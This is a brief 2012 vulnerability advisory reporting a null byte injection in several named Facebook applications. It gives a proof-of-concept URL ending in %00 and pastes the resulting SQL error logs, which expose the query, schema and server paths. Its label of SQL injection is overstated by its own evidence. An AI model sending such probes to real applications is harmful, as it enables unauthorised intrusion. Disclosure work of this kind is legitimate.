Multiple Facebook applications suffer from a null byte SQL injection vulnerability.
712bc0035aef721e45958679ad3227dc02a5a2003c0fac08baef7c664fb8ee22
Title
=====
Facebook Application Null Byte Injection
Date
====
25/01/2012
Author
======
<fiez_crack@yahoo.com>
Bug
===
Null Byte Injection
Introduction
============
The application is currently included and viewable by all facebook users.
Facebook is a social networking service and website launched in February 2004, operated and privately owned
by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create
a personal profile, add other users as friends, and exchange messages, including automatic notifications when
they update their profile. Facebook users must register before using the site. Additionally, users may join
common-interest user groups, organized by workplace, school or college, or other characteristics.
(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook)
Vulnerability
=============
Once you open the link, there will be an error like e.g, SQL error.
- http://apps.facebook.com/chev_test_fre/
- http://apps.facebook.com/worldwide_dev/
- http://apps.facebook.com/morgans_test/
- http://apps.facebook.com/chev_test_ita/
Exploitation Technique
======================
Remote
Injectable (Proof Of Concept)
=============================
- http://apps.facebook.com/chev_test_ita/%00
SQL Error Logs
==============
Warning (512): SQL Error: 1048: Column 'language_id' cannot be null [CORE/cake/libs/model/datasources/dbo_source.php, line 681]
Code | Context
$out = null;
if ($error) {
trigger_error('<span style="color:Red;text-align:left"><b>' . __('SQL Error:', true) . "</b> {$this->error}</span>", E_USER_WARNING);
$sql = "INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests/index', '{type:\"hit\"}', '2012-01-25 00:33:17')"
$error = "1048: Column 'language_id' cannot be null"
$out = null
Query: INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests
Warning (2): require(webroot/css/main-.css) [function.require]: failed to open stream: No such file or directory [APP/views/layouts/facebook.ctp, line 36]
Code | Context
Fatal error: require() [function.require]: Failed opening required 'webroot/css/main-.css' (include_path='/var/www/html/chev_dale_ita:/var/www/html/chev_dale_ita/app/:.:/usr/share/pear:/usr/share/php') in /var/www/html/chev_dale_ita/app/views/layouts/facebook.ctp on line 36
Severity
========
High
Risk
====
As data is parsed, an injected NULL character or NULL byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted.